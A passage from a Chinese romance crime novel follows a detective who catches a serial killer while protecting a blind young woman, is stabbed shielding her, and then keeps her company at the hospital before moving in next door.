他抽不开身,只好安排别人去。
姑娘点点头,对他的话深信不疑。
“好了,刚才跟你说的一定要记住,最近这段时间,一定不要离开奶奶一个人出门,知道吗?”他说。
姑娘很乖巧:“知道了。”
“这个给你。”他塞到她手里一个小物件。
“这是什么?”
“电击棒,防身用。”
出来的匆忙,这是他身上唯一带着的东西。
池念伸出手掌,他将这电击棒放到她的手心里。
姑娘缓缓握紧,似是抓住什么救命稻草般珍惜:“洛景之,谢谢你。”
林霞热情的招待他们,桌上的茶水和水果毫不吝啬。
几人坐了坐,等洛景之说完便起身要走。
“我们洛警官已经说完了,我们就先不打扰了奶奶。”张三回应道。
他很少遇到比他还要热情的人。
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>“这就要走啦,你们留下来吃饭吧,奶奶给你们做好吃的。”林霞说着就已经起身迎出来。
洛景之客气道:“不用了,我们的事已经办完了,就先走了,下次有机会再来拜访。”
“真的是麻烦您了警察同志,以后工作不忙的时候要常来玩哦。”
池念不习惯这种太过热闹的场面,一是不方便,二是身体条件不允许。
“老大,你觉得凶手来找池念的可能性有多大?”张三边下楼边问。
“不管可能性有多大,上报局里找一些人手在排查出来的二十岁女孩住址周围盯紧了,一旦有可疑人出没都要格外注意。”
“知道了。”
“那我们现在是不是没事了,就只剩下守株待兔了。”林南问。
“目前是这样。”
出了楼道门,张三忍不住调侃:“原来老大你刚才那么着急是要来找池念啊,这不就是上午你说要陪她的姑娘嘛。”
他平常开玩笑惯了的,只有没事的时候才会拿老大打趣。
洛景之见他年纪小,也很少去约束他,只要不是很过分,他都能忍受。
他随意丢出一句:“张三,想扣工资了是吧?”
张三还要解释:“我没说谎,林南也看见了。”
“你别看我年纪小,老大,我看人可准。”他越说越起劲,“你刚才看她的眼神可不一般,我要是没猜错,过不了多久,她就会成为我们的大嫂子了。”
“我看你是欠抽了?!”
“啊——”张三瞬间跑到另一人身后,“林南救我!”
洛景之挥起来的拳头吃了空。
的确,他的心思被抽空一部分。
洛景之知道,自己嘴上不承认,但心里没有办法否认。
这难道是传说中的一见钟情?
不能吧?
说实话,他活了二十多年还是第一次体会这种感觉,明明他们才相处那有数的几个小时,这就一见钟情了?
这说出去被人相信的概率不高。
林南笑道:“不过张三也没说错,你对她确实不一样。”
“你也这么说?”
“你是当局者迷,我认识你这么多年,可没见你对哪个女生这么用心。”林南性子冷,向来不掺和这种事,“不过作为兄弟还是要说一句,人家眼睛看不见,你要是认真的我也不说什么,要是随便谈谈,你还是别祸祸人家姑娘了。”
“你认识我这么多年,我就是这么禽兽?”
“嗯,我就知道你不会。”
“肯定是认真的。”
“……”
“老大~~~~”张三仿佛听到了什么世界末日的话。
“不是,你说真的?”林南也震惊,“你这样的条件找什么样的不好找,你偏偏看上这么小的姑娘,你但凡找一个比你大五岁的我都不会说什么。”
“老大,你如果真喜欢人家就要抓紧时间,这么可爱的妹妹,可是随时被人惦记上哦。”
两人似乎要将这个话题推上大热搜榜。
却不料洛景之直接来一句:“我说什么了?”
他故意不认账:“赶紧回去干活。”
两人:“……”
后悔没给他录下来。
5. 05
为了尽快找到凶手的破绽,洛景之这两天没怎么睡。
有时候也会亲自去池念家门口守着。
这几天的他仿若着魔般,觉得浑浑噩噩的生活在梦里。
办公桌上的文件物证照片摆的严实,这几天遇到的都是几个较容易的小案子,他很久没这么疯狂过了。
陈佳佳路过时正巧看到他一个人呆坐着不知道在想什么,便径直朝他走过来:“在想什么呢?”
洛景之闻言回神看她。
他不太想说话,也不太想说出自己心中所想。
陈佳佳也不惯着他,挨着他坐下:“洛队最近脾气见长啊。”
她翘着腿,一副舒服的模样:“不过我也很好奇,前些天张三和其他人传的消息是不是真的?”
“你也跟着他们一起胡来?”
“别拿我跟他们比。”她个性独特,“我们研究心理的人得出的每个结论都是有理有据的。”
这话倒是让洛景之有些刮目:“那你倒是说说,顺便判断一下他们说的是不是真的。”
他一副坐观其成的样子。
陈佳佳看了他一眼后,肯定道:“是。”
“……”
“起初他们几个议论八卦我还不信,但现在信了。”
陈佳佳的话让他引起重视,开始在意他对池念的心思。
没来得及听她往后说,洛景之被突如其来的一通电话打断。
他以为是张三他们有什么新消息,打开手机屏一看来电显示,竟然是他父亲洛明诚。
电话铃响了很久,他都未曾按下接听键。
陈佳佳看出他的心思:“不想接?”
“……”
“咱们共事这么久了,也多少能看出来你和你父亲关系不太好,但毕竟是儿子和爸,有什么过不去的仇恨呢。”
陈佳佳说完便起身离开,将空间留给他。
洛景之按了接听,随后就是电话那头传来的火爆脾气:“臭小子!你还知道接你爸的电话啊?!你都多久没回家了,你自己说!”
他就知道是这种情况:“我现在在忙工作,回不去!”
“忙工作忙工作,什么工作忙好几个月都不给放假的?我看你就是根本不想回家,这么久连个电话都不打回家,你是不是非得等我们到了底下才回来送最后一程啊?!”
“……”
他又清晰的听见电话那头的女声:“好了,不回来就不回来了,延之不是还在家呢吗?你又不是只有一个儿子。”
母亲秦晓兰的话也是他不想回家的原因之一。
从亲生母亲嘴里说出这样的话,换谁都会心寒吧。
但洛景之已经免疫了。
那头洛明诚回怼:“你懂什么?不知道情况就闭嘴!”
“我……”
虽然不服气,但秦晓兰还是乖乖闭了嘴。
洛明诚是公司集团的董事,曾经凭一己之力白手起家创建了自己的公司,要说本事,洛景之是佩服的。
但那句话说的没错。
家庭事业不得两全。
他的事业是风生水起,几乎承包顾城的广告和品牌合作。
但他的家庭不幸福。
洛景之之下还有一个弟弟,叫洛延之。
洛延之学习优秀,强过洛景之,所以母亲的偏爱都给了弟弟。
洛景之从小没得到过母爱,而又长期受到洛明诚的严格要求,虽然事业有成,但养成了孤僻的性子。
“最近在侦查一桩凶手案,回不去。”他冷言冷语。
洛明诚怒道:“回不来也得回来,下周你爷爷七十大寿,公司打算办个宴席,正好借这个机会让你多认识一些豪门望族的千金。”
“到时候看情况。”
“你这个案子一旦侦破,就立刻回来,否则别怪我派人去警局抓你。”
“……”
洛明诚一向如此,他也习惯了。
当警察的威严和风光在面对洛明诚的逼迫时,却是这么讽刺。
这些年,无关紧要的事洛景之不会在意,他说怎样就怎样。
可让他认识望族千金,这不间接的在相亲吗。
以前他对这件事没感觉,现在不知怎么,心里萌生出厌恶感。
可面对洛明诚的紧紧相逼,又怕不答应的话他真做出什么出格的事,他还是应下了。
洛景之随后说了声:“知道了。”
而后便挂了电话。
他确实很久没回家了,那个只有他是最多余的家。
毕业后他一直住在单位,反正,能少回去就少回去。
但他没得拒绝。
又隔两天。
这天的天气和他们初识般灰蒙,大片的积云笼罩半边天。
池念所在的居民楼正巧相邻门口,旁边就是小区内的花园。
小区门口进出的人不断,张三几人身着便服坐在公园的长椅上假意刷着手机。
而林南则是坐在门卫大爷的小屋里故意装作聊天。
其他人有的扮作小区清洁工,有的扮作楼下带孩子遛娃的母亲。
“怎么样?有情况吗?”洛景之戴着鸭舌帽坐到张三身旁。
“目前没有。”他说,“这个小区是个老小区了,住进来的人不少,大部分都是老年人,不像新小区人少,老大,我们也盯了好几天了,确实没发现什么可疑的人。”
他忽而又意识到:“凶手会不会又找到了新目标?!”
“其他女孩居住地附近也有咱们的人盯着,也没有任何情况。”
“难道是陈警官判断错了?”
张三心生怀疑。
正在两人疑惑不解时,他们蹲守的单元门口发生了意外情况。
争吵声不断引来其他人围观,随着人们越来越多,这件事也吸引了洛景之和张三的注意。
洛景之:“去看看。”
围观看热闹的人不断增多。
二人的争吵声也无休止。
“明明是你撞了我,害得我新买的菜都散了一地,反而连句对不起都不会说,谁教你的,不知道尊重长辈吗?!”
一六十岁大妈破口大骂。
而被她正骂着的是一位年轻女士。
对方穿着优雅,首饰穿戴的整齐,他们一看就知道是上班族。
“我撞了你?你怎么不说是你自己摔倒的啊?可真会冤枉人,你不会是碰瓷的吧?真是倒霉。”
女人嘴上也毫不客气。
“你……”老人一时不知道说什么,反而就矛头指向围观群众,“大家都来看看啊,我老婆子被她撞了连句对不起都没等来,还冤枉我诬陷她,大家都来评评理啊!”
“你干什么?!”
“我干什么?!今天你不道歉就别想走!”老人说着就已经抓上对方的手腕。
“松开!你放开我!”女人被抓的感到疼痛,“再不放开我就报警了啊!”
“你报啊,我到要看看你先撞人还能有理!?”
洛景之和张三都是穿的便服,外观看没人会知道他们是警察,正当张三想要上前去处理时,洛景之率先反应过来。
他低声自语:“遭了!”
洛景之忽然明白,这是凶手在故意声东击西。
反应过来的他冲刺般连爬四楼。
对方是一个成年男性,想要两个女性的命是轻而易举,他担心池念会有危险。
可洛景之顾不了那么多,脑海中那无数种危险他仿佛都过了一遍,心里的害怕也被无限放大。
张三只能迅速跟上他的脚步,喘着粗气问:“老大,你怎么了?!”
“池念有危险!这是凶手在故意蒙蔽我们!”
他没时间跟他解释。
洛景之的精力和体力和林南差不多,连爬几层楼只是小锻炼。
当他们赶到时
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,凶手正在逼迫将自己反锁进房间的池念。
此刻,奶奶已经受伤倒在地上。
洛景之朝他冲过去,一脚将人踹开几米,凶手一时没反应过来,踉踉跄跄的从地上爬起来。
凶手手上不知何时握了把刀,他面目狰狞,像个难以被驯服的野兽,手上的刀刃还带了血,血迹未干,似乎又看到了下个目标。
张三不适合战斗,只会几招防身的三脚猫功夫,他着急忙慌的从身上掏出一个电击棒,预备救人。
洛景之手里没利刃,出招时都刻意防范,而对方却招招死手。
双方实力不可小觑,赤手空拳搏斗都是平手。
洛景之无数次希望,要是林南在就好了。
对方不甘心,而后持刀朝他砍来,被洛景之双手控制住,瞬间,刀尖被调转方向,两人都拼尽全力,暴力四起。
正当难以分出胜负时,张三特别不厚道的手握电击棒朝凶手电去。
瞬间对方没了力气,全身抽搐。
洛景之眼疾手快,急忙将人压在身下,从兜里掏出手铐将人铐住。
此刻他还些许惊魂未定,回头看了眼身后拿着电击棒的男生。
“搞偷袭?”
张三吓得不轻:“跟,跟杀人凶手还将什么道义!”
屋内杂乱无章,散落在地上的一片狼藉。
他们来之前,也一定和凶手做出了激烈的斗争。
“张三,赶紧拨打120,叫咱们的人上来!”
“我,我知道了。”
交代下去,他这才放心敲响池念那紧关着的房门:“池念?你还好吗?已经没事了!池念?!”
里面没人回应,他又接着喊:“池念,你把门打开!你没事吧?!”
再想继续敲门的时候,房门打开了。
洛景之惊险道:“池念,你没……”
而当他再次望向眼前姑娘的脸时,却是大惊失色。
此刻的池念脸上和身上全是血,她自己看不到,她只觉得自己非常狼狈。
姑娘还在这场谋杀中惊魂未定,她的手还在颤抖,盲人杖此刻已不知道被丢在哪里,她的眼睛没神,只盯着一处看,好似能看到什么。
出来的那刻姑娘思绪是崩溃的,池念猛然抓住面前的人激动道:“奶奶,救救我奶奶,她受伤了,她流了好多血,快救救她!!!”
“别怕,救护车马上就来,奶奶一定会得救的……”洛景之不断的安慰。
殊不知此刻倒在地上的男人起了危险的心思。
他恢复神智后,暗自悄悄的去摸起那把刀,正在地上一点点靠向洛景之慢慢挪动。
张三突然注意到,大叫:“老大小心!?”
“去死吧!!!”凶手双手握住刀柄朝他刺过去。
洛景之躲闪不及,又担心对方会伤到池念,下意识用自己的背去面向对方。
凶手的刀中他的腰部。
一瞬间。
鲜血涌出来。
此刻林南接受到消息飞速上来,以及身后的警察,一起将人控制住。
“老大你没事吧?!你忍一忍,救护车马上就到!”张三急忙搀扶好他。
听到对方急切的关怀,池念也骤然意识到什么。
“洛景之,你……”她四处的去摸索,不知道他在哪里,“你受伤了?”
“没有……”他故意平复语气,“一点小伤,不碍事。”
此刻的另一只手还在用力捂着被刺伤的伤口,血液侵蚀着他的皮肤,蔓延开来。
他拧着眉,咬着后槽牙来忍着刀子刺进血肉里的灼烧感。
很快,埋伏在楼下的警察一拥而入,以及急诊室的医生。
“不许动,老实点!”
“拷上!”
“快点!把患者抬上担架!”
“动作小心!”
一瞬间,各种声音充斥在房间里……
6. 06
医院里,林霞被推进急诊室抢救,池念无助的坐在走廊一旁的座椅上,像个没人要的小可怜。
洛景之也挨了一刀,进医院的同时也被张三强拉着去包扎伤口。
他自己没当回事,也不是第一次受伤了。
只不过这样的刀伤在别人看来很可怕。
两名小护士给他做了伤口的紧急处理,包扎过程中他也是没消停。
“我的伤没事,不用包扎。”洛景之没好气道,“松开我。”
张三压根不信:“这还没事?老大,你是不是打算一只脚踏进棺材才算是有事啊?”
“你才跟了我多久,我有次出警回来的时候只剩半条命,那个时候都没喊要死要活的,这点屁伤算得了什么。”
他说话有些喘,显然是嘴上逞能。
但张三很少见他这样,对他的受伤很当真:“不管怎么样,你都别想走,让人家护士包扎好伤口再说。”
“这么牛了?管到我头上了?”
“这次就算你要惩罚我也得有命回去才行。”
“……”
他现在受了伤,又流了很多血,脸色惨白,浑身无力,只要张三说不行,他就根本没办法离开。
只是没想到,有朝一日还会被这样的毛头小子给管着。
洛景之心里还惦记着池念。
那样血腥的场面,他此刻竟然替她庆幸,庆幸她看不见这些。
那样可怜的小姑娘,看不见的话……
是很幸运的了。
洛景之心想,换做谁也都会可怜这个眼睛看不见的小姑娘。
护士包扎到最后一步时,他催促道:“好了好了,就这样吧。”
没顾上客套话,只身冲向走廊。
男人冲出去才又收回脚步,问:“池念呢?”
张三愣愣道:“二楼手术室。”
随后,洛景之丝毫未曾耽误,快速跑向二楼。
根据他这几年的经验,林霞那样的伤势恐怕是凶多吉少,此刻池念只会在手术室外等着。
不知道为什么,洛景之对她满是心疼,他本以为失去光明是她最不幸的事情,可现在却连身边的亲人都难以陪伴她,这个世界不曾善待过这个女孩。
直到他来到走廊的尽头。
急诊室上面那亮起的“手术中”三个字很刺眼,走廊外没什么人,只有两名警察陪着。
就只是,陪着。
洛景之将目光放在角落里的女孩身上。
她一个人坐在角落里,双手环抱住曲起来的双腿,小小的一只,无人关怀和这医院中冰冷的白色映衬。
睫毛打湿了姑娘的双眸,眼睛红肿又绝望的看着一处,似是连心里的光亮也失去了。
洛景之迈着沉重的步子缓缓靠近他,他一米八五的身高和此刻坐在地上的女孩形成了对比。
一个高高在上。
一个脆弱的如同悬崖上的蒲公英。
风轻轻一吹,便散了。
这样的池念,恰恰能激起洛景之的保护欲。
他对池念,本就怀着怜惜的态度,可看到这样的她,却让男人心中有种说不出的压抑感。
洛景之知道,或许也是出于职业道德,他才这么想保护一个人。
或许也是池念这么可怜……
可他自己也清楚。
这份或许,也是建立在喜欢的前提下才产生的可能。
“池念……”他不知道该说什么,只是开口叫了她的名字。
这个声音,她知道是洛景之。
但在听到他声音的时候,池念控制不住的想哭。
小姑娘眼眶又变得湿润,在等待一场和死神博弈的结果是种无法想象的煎熬。
就连池念自己也不知道,为什么在听到是他时自己会这么无助。
她颤着声音,虚弱的语气中满是害怕:“奶奶会没事的,对吗……”
“对。”洛景之蹲下身,依旧高她一截,“只要池念相信,结果就都会是好的。”
他用这些哄小孩子的话语去安慰她,不管结果怎么样,对她来说都是希望。
听到这样的安慰,池念没忍住再次哭出声来。
这就是她在听到声音是洛景之时想哭的原因。
当其他警察只是在执行命令站在一旁陪同她时,洛景之会上前来安慰她。
或许是在事发之前他们就已经认识,池念对他有了归属感。
又或者,在唯一的亲人躺在冰冷的手术室里时,只有他可以陪在她身边。
所以,池念有些依赖他。
“我只有奶奶了……”她哭的泣不成声,“我就真的,真的只有奶奶了……”
池念靠在他怀里哭着,泪水打湿了他胸前的衬衫,洛景之轻轻抱着她无助的身躯,似是借此想给她一点振作起来的力量和勇气。
可她才二十岁。
“你不是一个人,以后你会有更多的朋友,胜似亲人的朋友。”他的声音温柔的要命,“别哭了好不好,奶奶会没事的,一切都会没事的。”
姑娘哭的让人发自内心的心疼。
“你——”
他话到嘴边犹豫了,但想到是给与的安慰,便又接上,“还有我。”
洛景之也不知道自己哪根筋打错了,莫名其妙的冒出这句话来。
但察觉到她情绪好些,便也没再细想。
洛景之不是一个随随便便给出承诺的人,但总是觉得这样的自己奇奇怪怪。
“先起来,地上坐着容易着凉。”洛景之边说边扶她起来,“你放心,我陪你在这儿等着结果,奶奶一定会平安出来,不哭了。”
将池念安抚好情绪后,洛景之才后知后觉。
这TM是他说出来的话?!
“你先在这儿坐会儿,我让他们出去买点东西,一会儿过来。”他温声细语,和审讯室里审问犯人的洛景之全然不同。
“嗯。”她抽抽鼻涕,就是个小哭包。
洛景之轻叹口气。
他没见过这样性格的姑娘,奶声奶气的,容易激起人的保护欲。
就是那种,矮小矮小的小只,不许任何人欺负的那种类型。
征得同意后,他动作迅速叫走站在一旁的两名警察。
两名警察不知所措的跟在他身后,直到穿过走廊到尽头,洛景之的步子才停下来。
他心情不好,此刻脸上像是堆了层层乌云。
身后的两人似是察觉到什么,不敢发言。
“人一直在地上坐着你们是瞎吗?”洛景之刚才安慰人时的温柔模样早已消失不见,“一个小姑娘坐在那角落里伤心成那样你们看不见?!”
此刻不好的情绪尽数爆发出来。
其中一名警察赶忙解释:“不是,洛队,我们刚才安慰了,但是不管用啊,她执意要坐在地上的。”
“真的洛队,我们不会安慰女孩,刚才我们说的嘴巴都干了,还是不管用。”
“我们真没说谎,不信
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你去问那个小姑娘。”
“是啊是啊。”
见两人这样解释,他也没再追究。
这里是医院,他们身着警服,不好发太多情绪,于是作罢:“你,出去买点吃的回来。”
“是。”
“还纸巾。”
“知道了。”
那人走后,留下的这名警察就更慌了。
洛景之倒也没为难他:“我没来的时候,这里什么情况?”
小警察认真道:“也没什么情况……就是让签了一个手术风险的保证书,没别的了,估计一会儿医生出来就该让交手各种费用了吧?”对方也不懂,只是说着自己的猜测。
“还有别的吗?”
“没了。”
知道没什么其他事发生,他也放下心来。
直到此刻他才感觉到自己的伤口隐隐作痛。
“行了,你先回去吧。”他又补充道,“把人安慰好了,我马上过去。”
“是。”
-
伴着聒噪声的医院长廊里,等在手术室门前的小小身影,只有她自己。
洛景之离开期间,手术室的门终于打开,池念撑着自己颤颤巍巍的身子站起来。
“林霞的家属。”医生的声音清晰响亮。
池念冲过来焦急道:“医生,我是,我是林霞的孙女,我奶奶怎么样了。”
她迫切的想要知道结果,慌乱的心让她快要窒息。
医生见她是个小姑娘且只有一个人在等,怕吓到她,故意放慢语速:“手术很顺利,病人目前没有生命危险,只不过病人受伤严重,失血过多,而且上了年纪,也存在很多风险,可能会导致昏迷,具体也不好说。”
“……”她呆愣在原地。
“不过你也不用太担心,人各有异,如果恢复的好,痊愈的几率也是很大的,但具体恢复的怎么样得住院观察一段时间。”
她又燃起希望:“好,好,谢谢您医生。”
“不用谢,一会儿麻烦您去前台右边的窗口处交一下后面住院的费用。”
“好的。”
她终于松了口气。
没事了,会好起来的。
洛景之没有骗她。
可是,她交了手术费之后积蓄就不多了,这么多年,一直都是她和林霞相依为命,她眼睛看不见本就没有太大收入,还要去检查眼睛,这样下来,她或许还要出去四处借钱。
可笑的是,她都没有能够去借钱的朋友。
池念自己都觉得自己的人生很荒唐,又很失败。
小时候的她连累父亲,长大了还要连累奶奶。
随后林霞被医生从手术室推出来,转到普通病房。
而此刻洛景之匆匆赶回来,便一同陪着池念将人推进病房里。
池念将刚才医生的话转达给他,总觉得,保住命才是要紧事。
“你我都已经尽力了,剩下的就要看奶奶自己创造出奇迹了。”他说。
“嗯。”她坚定地点点头,似乎他说的每句话都值得信任。
想到刚才医生的嘱咐,池念恍然道:“麻烦你,可不可以帮我照看一下奶奶,我出去一下,一会儿就回来。”
“你要出去?”他问,“这里你也不熟悉,自己一个人可以吗?不然我让人陪你一起去。”
“我自己可以的,不会去太远的地方,很快就会回来。”
见她仍然坚持,他反倒妥协:“那行,把你手机给我。”
7. 07
“你要,做什么?”她虽然疑惑,但还是将手机递了过去。
洛景之问了密码将手机解锁,在通讯录里添加了新联系人,“这是我的手机号,存在你通讯录里了,备注洛景之,找不到房间在哪可以给我打电话。”
“好的,谢谢你。”
手术费她已经交了,但是接下来的住院费也是一笔高昂的巨款。
缴费的路上池念也在想,如果她父亲池国霖还在的话,他们或许会过的很幸福。
她和林霞也不会被坏人盯上。
池国霖也是一名警察,是有过许多功绩的警察。
可是就在十年前的晚上,池国霖为了保护女儿被凶手残忍杀害,案子至今未破,凶手至今仍是漏网之鱼。
这件事一直是池念不愿提起的过去,而池国霖的死,也是她心底最痛的伤疤。
短短去缴费的有限时间里,她几乎将所有能借给她钱的朋友想了个遍。
但是很可惜,并没有几个。
池念握住盲杖的右手不自觉又加了些力度。
楼下缴费的窗口处排了很长的队伍,而她是人群中格外引人的身影,年龄,长相,身高,盲杖,无疑不是最特殊的一个。
这让她在这长排队伍中越发自卑。
只觉得排了很久,她还觉得过意不去,刚才出来的时候跟洛景之说好一会儿就回去的。
医院里的大厅里声音杂乱,不适合语音唤醒手机的智能机器人。
还是先不打了吧,这就快到我了。
她心想。
池念用导盲杖探测才知道排到了自己,她礼貌道:“您好医生,我来教一下住院费。”
医生没注意到她:“身份证借用一下。”
“好。”
医生的无意间的转头,才注意到她的情况,对方静静地观察她,看有没有需要帮忙的地方。
只见小姑娘熟练地从自己包里拿出一个钱包,她的钱包里是整整齐齐排列好的几张卡。
她动手抽出身份证交给对方。
那女医生看的惊奇。
但还是顺手接过来,进行后面的查询登记。
“林霞,020病房……”医生点击着电脑查询什么,忽而道,“住院费已经交了啊,你不用再交了。”
池念觉得奇怪:“已经交了?不可能啊,能不能麻烦您再帮忙查一下。”
“错不了,已经交了。”对方当真又查了一遍,“如果不是你的话,我需要再帮您办张卡吗?咱们都是往卡里充值金额,后续住院费用不够的话,会从您的卡里扣,比较方便。”
“哦,好。麻烦您了。”
排到她的时候,人少了很多,她身后没有人在排队,站在窗口前的只有她自己。
约莫五分钟,对方将东西还给她:“好了,给您卡。”
池念难解心中的疑问:“医生,我方便问一下,是谁帮我付的费用吗?”
“抱歉,我答应了对方不能说。”
“那我可以问一下对方帮我交了多少费用吗?”
“这……”
见对方犹豫,她又乘胜追击:“您答应他不透露姓名,我也不会让您为难,您不会也答应了对方不透露费用吧?”
“这倒没有……”
“求求您了医生姐姐,如果有机会遇见他,我也好把钱还给人家。”
“好吧。”医生说着,“他一次性往卡里充了五万,如果后期用不了的话,可以来这里退。”
“好,谢谢您。”
池念左思不解,她最开始怀疑的是她母亲李美玲,可很快又打消了这个念头。
李美玲当初选择抛弃她,一走就是十年,中间虽然断断续续来看过她,但都是口头那不冷不热的问候,舍不得拿出一分钱给她。
池念从小跟着林霞长大,李美玲没有尽到过做母亲的义务。
她们很生疏。
正当她转身要离开时,刚才办理业务的女医生叫住她:“等等小姑娘。”
池念停住脚步:“还有什么事吗?”
对方见她身后没有排队的家属,便才耐不住好奇叫住她:“我方便问你一个问题吗?”
“方便的。”
“刚才你拿身份证的时候,怎么就知道自己拿的是对的呢?”
有时候正常人都会拿错,何况她的眼睛还看不见。
池念笑的温柔:“因为这是我的钱包啊,从正面看排序,第一张是身份证,第二张是银行卡,第三张是我奶奶的银行卡,只要记住顺序就不会拿错。”
“原来是这样,你好聪明啊能想到这个办法。”
“谢谢。”
回到病房,洛景之正在走廊角落打电话,她没有打扰他,转弯进了林霞的病房里。
“这件事等我回去再说,你们先给他录口供,把犯罪原因和经过问清楚了。”
“行,你的伤好些了吗,什么时候能出院。”电话那头的女声问。
“一会儿。”
陈佳佳说:“嗯,知道了,剩下的等你回来处理。”
“嗯。”
挂掉电话,他转身要走,突然腰部的疼痛感席卷而来,洛景之忍痛捂住刀口位置,另一只手靠墙面撑住。
虽然这些伤他也习惯了,但刀子刺进血肉里也不是小伤。
洛景之忍着疼痛走回病房,进门对上她那小小的身影时,刚才的疼痛感消失几分。
“你回来了,怎么要这么久?”洛景之问。
池念侧耳回应:“没有想到队伍那么长,排了很久。”
“要吃点东西吗?”
“我不太饿。”
“那,喝点水?”
“我也不渴的。”
“哦。”
感觉出对方的失落,池念突然有人意识过来,急忙又改口:“我要不吃一块面包吧。”
这话一出,洛景之从那一袋吃的里,找出一包草莓味的夹心面包来递给她:“给。”
池念不是那种做事会主动的人,喜欢或者不喜欢也不是主动去争取的性格,但面对洛景之这样的热情,她是觉得心里暖暖的,可同时也担心自己的这样的处境会连累他。
经历这么多,她自己也不是没有想过。
为什么和她扯上关系的人都没有好结果。
她或许真的携带倒霉基因吧。
所以这么多年她没有朋友,也不愿意去交朋友,她只想和奶奶安安稳稳的生活。
可是就连这个都是奢求。
池念没有再执着什么,现在的她已经看淡了很多。
回想起洛景之刚才在走廊内打电话时的背影,想来因为她的事耽误了许多正事。
小姑娘战战兢兢道:“你应该还有许多事要忙吧,是我耽误你的时间了,如果你有事的话可以先离开,我自己没有问题的。”
“这就要赶人走?”
洛景之的脸拉的难看,可惜池念看不到:“过河拆桥啊小姑娘?”
“不是,我没有……不是那个意……”
“行了。”
“……”
洛景之起身:“毕竟女儿还小,不太懂事,养养就长大了。”
“……”
池念不懂他话里的意思。
只是这句“女儿”,让她联想到第一次见面时,在出租车里的场景。
洛景之边说边要起身出门,还未出门,他的脚步又突然停下来,男人带着意犹未尽的眼神看向身后的小身板,“池念——”
“我的伤还没好,我们的邂逅,还没结束。”
池念:“……”
房间内的两名警察将这一切看在眼里,听着他们的对话简直是目瞪口呆。
“刚,刚刚那是洛队?”
“你扇我一巴掌,告诉我刚才那个人不是洛队。”
这名警察懵逼:“可那人就是洛队啊?”
“我靠,洛队刚刚都干了什么?”
“他撩了一个小姑娘。”
“哦。撩了一个小姑娘……”
“撩了一个小姑娘???????”
这名警察看着洛景之离去的背影,更加
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震惊:“不是?洛队不是不喜欢拈花惹草吗?他刚刚的行为是什么?”
“这要不是咱俩亲眼看见,恐怕也不会相信。”
“那洛队不会把咱俩杀人灭口吧?”
“要灭也只会灭你的口。”
“为什么?”
“我帮洛队买吃的了。”
“……”
两人一唱一和,前面的洛景之催促道:“干什么呢!还不快走?”
“哦,来了。”
“来了。”
-
警局,晚上七点。
洛景之前前后后忙到七点才有时间来问这个案子。
办公室里,几人都在整理这份案情资料,连续杀了几个人已经引起市民恐慌,直到凶手被抓住,市民的心才落下来。
洛景之坐在自己的位置上:“凶手认罪了吗?”
“那肯定,都被现场捉到了能不认罪吗?”林南冷不丁道。
“他怎么说?”
陈佳佳解释:“凶手小时候看见母亲被父亲杀害,母亲死亡,父亲落狱,他从此就变成了孤儿,经常遭到村里人的嘲笑,因受不了讥讽离开自己的家乡,来到顾城后和一位老板娘发生争执,激发他内心扭曲的心理,靠杀人来获得快感。”
“那他既然杀了和他发生争执的老板娘,又为什么还要杀别人?”
“这就是心理扭曲,他给出的回答是,想看看是不是所有阶段的女人都是这样的。”
“……”
洛景之也见怪不怪了,毕竟干他们这行,什么变态的人都见过了。
“张三,回头写份报告给我。”
“好。”不过他表情一怔,莞尔一笑,“不过我不用交给你了老大~~~~”
“什么意思。”
张三道:“张局说让你养养伤,特地给你放了两周假。”
洛景之的脸黑下来:“为什么?我报告上写的就不小心被划伤了一道口子,没什么事。”
这到底是怎么回事。
几人看淡一切,各自忙着手上的工作。
林南见没人回应,避免冷场,他说:“你觉得张局还会信你写的报告吗?”
“为什么不信?”张三瞅瞅林南,见他半天不作答,又转眼看向陈佳佳。
陈佳佳解释道:“你才来不久,不知道也正常。”
“之前有一次出警,洛队不顾危险追击凶手,谁料到对方身上有枪,被人差点送去西天,结果第二天又跟没事人一样来工作,在报告中写,受了一点擦伤,结果张局也没在意,伤口加重又送去医院治疗。”
张启明也笑着补充:“还有一次,为了从凶手手里救下一对母女,和凶手起了正面冲突,危急时刻替那对母女挡了一刀,报告上写的是擦破点皮,张局也信了,结果又相反。”
他边整理手里的检查报告边说:“现在张局对你的报告就是走个形式,压根不看。”
“……”
张三同情的看向洛景之:“原来老大你在张局心里都混到这个地步了。”
“屁大点伤有什么大惊小怪的。”
陈佳佳说:“那是小伤吗洛队,那都快要你命了。”
洛景之:“……”
几人聊得火热,张启明趁热打铁:“对了,那个小姑娘是怎么回事?你貌似跟她关系不一般。”
“你怎么知道她。”
“现在咱们刑侦队里都传遍了,说你喜欢人家,都说老牛吃嫩草,没想到还真让你吃到了。”
“他们嘴欠,胡乱传的。”
张启明家长似的语气嘱咐道:“不管怎么样,你要是真喜欢,可得要认真追啊,小姑娘的心可伤不得嘞。”
说完,便将那一堆报告夹在怀里扬长离去。
八卦是他们警察忙碌的生活里唯一的乐趣,不只是洛景之,还有其他人的感情经历,都会被人关注着。
只是他们觉得匪夷所思,这样的事也会传到洛景之身上。
起初他们几个也是不相信的,可事情越传越逼真,其他人也信了八九分。
8. 08
几天后的某天,池念从医院回来后,就一直在吃粥。
她一个人生活多少还是有些棘手。
比如,她没有办法炒菜,家里煮粥的高压锅也是定时的。
林霞不在的时候她除了吃食上有些跟不上营养,其他方面她是可以照顾自己的。
她的生活没有接济,所有的经济来源都是她们一起赚来的。
这天上午,池念知道家里的馒头不够了,小心地摸索着自己的衣服,换上鞋子准备出门。
她自己一个人在家一般会买上两三天的量,吃不了的可以放在冰箱冷藏,偶尔还会买些咸菜将就,这样对她来说比较方便。
池念收好钥匙,换好鞋子准备出门。
可刚关上门转过身的功夫,姑娘的身子就碰上另一个人。
对于她这样的人,总是会下意识去道歉:“对不起,对不起,我不是故意的,您还好吧?”
她隐约察觉到对方的很高,刚刚碰到的,应该是他的肩膀。
这味道……
好像在哪儿闻过……
池念正回忆着。
对方淡定的看着她,未将刚才的事放在心里,口吻痞欠的样子说:“哪儿来的小——”
池念说:“洛景之?”
“……”
这就被认出来了?
他话都还没说完。
洛景之有种被人拆穿的挫败感。
她弱弱问:“你不会,又叫我小瞎子吧?”
他也不恼,倒是顺手揉了揉她的头,改口笑道:“哪儿来的小可怜,差点就被撞坏了。”
池念听见他这样说,也没有躲,任由他揉着头,心里泛起些暖意。
洛景之问:“怎么知道是我?”
“你身上有一种烟草味。”
“不喜欢?”
“也没有。”
她又解释说:“我只是习惯性去靠声音和味道辨别一个人。”
“你来找我是有事吗?”姑娘问。
“没什么事。”他转而又道,“就是想认识一下新邻居。”
“新邻居?”
池念反应有些迟钝:“是我吗?”
“倒是聪明。”
